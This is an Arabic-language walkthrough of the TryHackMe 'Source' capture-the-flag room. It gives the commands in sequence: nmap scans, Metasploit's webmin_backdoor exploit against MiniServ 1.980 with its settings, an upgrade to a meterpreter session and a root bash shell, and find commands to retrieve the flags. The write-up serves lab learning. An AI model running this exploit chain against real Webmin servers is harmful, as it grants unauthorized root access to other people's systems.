TryHackMe|Source WriteUp\Walkthrough (Arabic)
بسم الله
كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 22 و 1000، نرجع نسوي Aggressive سكان عليها.
sudo nmap IP -vv -A -p 22,1000
بورت 22 عليها SSH server وبما إن ما عندنا أي معلومات نقدر من خلالها نتصل بالجهاز فما رح نستفيد منها، وكمان لو حاولنا نسوي brute force بياخذ وقت طويل جدا مننا. لكن على بورت 1000 موجود web server اسمه MiniServ بنسخة 1.980 ولو بحثتوا باسمه ونسخته رح تلقون إنه فيه ثغرة ممكن استغلالها ومباشرة رح تعطينا root shell
كيف نسوي كذا ؟؟ ببساطة بنستخدم Metasploit بما إنه فيه module جاهزة لاستغلال هذه الثغرة. نشغل Metasploit
msfconsole
ثم نبحث
search webmin
بيطلع مجموعة من الـmodules، اللي بنستخدمها هي
use exploit/linux/http/webmin_backdoor
نستعرض الـoptions ونشوف ايش اللي يبغى له تعديل
options
نحتاج فقط نعدل على 3 أشياء
set lhost tun0
tun0 هي الـinerface للـopenVPN connection
set rhosts IP
set ssl true
ثم نشغل الـmodule
بنحصل على shell وأنا أبغى أحصل على meterpreter session لأنها أسهل بالاستخدام، ولها مميزات عديدة
بأسوي background عن طريق إني أضغط ctrl+z بعدين
sessions -u 1
عشان يسوي upgrade للجلسة رقم 1، نعطيه وقت وثم بنحصل على meterpreter session، ندخل عليها باستخدام
sessions 2
بعدين
shell
/bin/bash -i
وبنحصل على shell كـroot
نبدأ نبحث عن الفلاقات
find / -name "user.txt" -type f
وبيطلع معانا إنه موجود في المسار
/home/dark/user.txt
نستعرضه باستخدام cat وبكذا حصلنا على أول فلاق ✨
بنفس الطريقة بنبحث عن root.txt وبيطلع موجود في الـhome directory للـroot
نستعرضه بـcat وبكذا نكون حصلنا على ثاني فلاق وانتهينا من الحل، بالتوفيييق لكم 😊




Comments
Post a Comment